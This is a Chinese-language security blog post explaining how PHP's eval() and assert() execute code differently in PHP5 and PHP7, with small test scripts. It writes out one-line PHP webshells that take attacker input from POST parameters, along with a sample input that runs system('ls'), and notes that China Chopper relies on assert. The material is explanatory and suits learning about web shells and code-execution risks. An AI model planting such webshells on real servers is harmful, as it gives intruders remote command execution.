php5和php7中的eval与assert

彻底了解两者在不同版本的区别

eval

php官方手册:

(PHP 4, PHP 5, PHP 7)

eval — 把字符串作为PHP代码执行

该函数只有一个参数,即需要被执行的字符串代码。

代码不能包含打开/关闭PHP标签,但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。

我们下面进行测试
记住要用 ;结尾

1
2
3
4
5
6
7
8
9
<?php
eval(' echo "Hi!"; ');
echo "\n";
//eval('echo `whoami`;');
eval('<?php echo "Hi!";?>');
echo "\n";
eval('?><?php echo "Hi!";?>');
echo "\n";
eval('echo "Hi"?><?php echo "Hi!";?>');

QQ截图20201204165203.png

可以发现我们如果 存在<?php 的标签时会报错,但是如果我们先 ?>将前面的php标签闭合,我们后面就能使用php标签了

可执行系统函数

QQ截图20201204172946.png

tip:

在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?= 以代替 <? echo。不过在php7中这个标签被移除了。

eval只能执行一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
$a='assert';
$b='system';
$c='whoami';
//echo $a($c);
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
//eval($b($c));
echo "\n";
echo "\n";
echo "\n";
eval($b('whoami'));
echo "\n";
echo "\n";
echo "\n";
echo eval('echo 666 ;');
?>

可以看到只执行了 whoami的指令,并没有输出666

QQ截图20201206162520.jpg

eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

eval()和assert()的命令执行问题
在本地进行代码测试

1
2
3
4
5
6
7
8
<?php
$a='assert';
$b='eval';
$c='phpinfo();';
echo $a($c);
echo "<br>-----------分隔线---------<br>";
echo $b($c);
?>

结果:$a($c)执行成功 $b($c)执行失败
在这里插入图片描述

因此一般我们的一句话木马一般都写成

1
2
<?php
eval($_POST['1']);

而不是

1
2
<?php
$_POST['1']($_POST['2']);

不过我们依然可以传入1=assert&2=system('ls')来执行命令,也就是我们要说的assert函数。

assert

assert(PHP5 And PHP7)

php官方手册:http://php.net/manual/zh/function.assert.php

(PHP 4, PHP 5, PHP 7)

assert — 检查一个断言是否为 FALSE

如果assert里面是字符串,它将会被 assert() 当做 PHP 代码来执行。

QQ截图20201204174651.png

assert(PHP7)

查询文档资料

在PHP7.1版本以后, assert()默认不再可以执行代码 就像echo一样。

所以说 assert也和eval一样不能被可变函数调用

同样的

1
2
<?php
$_POST['1']($_POST['2']);

在php7中无法传入1=assert&2=system('ls')来执行命令

菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

eval和assert使用测试

QQ截图20201204175643.png

QQ截图20201204175656.png

eval里面执行assert

QQ截图20201204181939.png

记住php7.1以后就只能用eval了 assert默认没有执行功能了

参考:

https://blog.csdn.net/weixin_43669045/article/details/107093451?utm_medium=distribute.wap_relevant.none-task-blog-baidulandingword-11

https://www.anquanke.com/post/id/173201

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~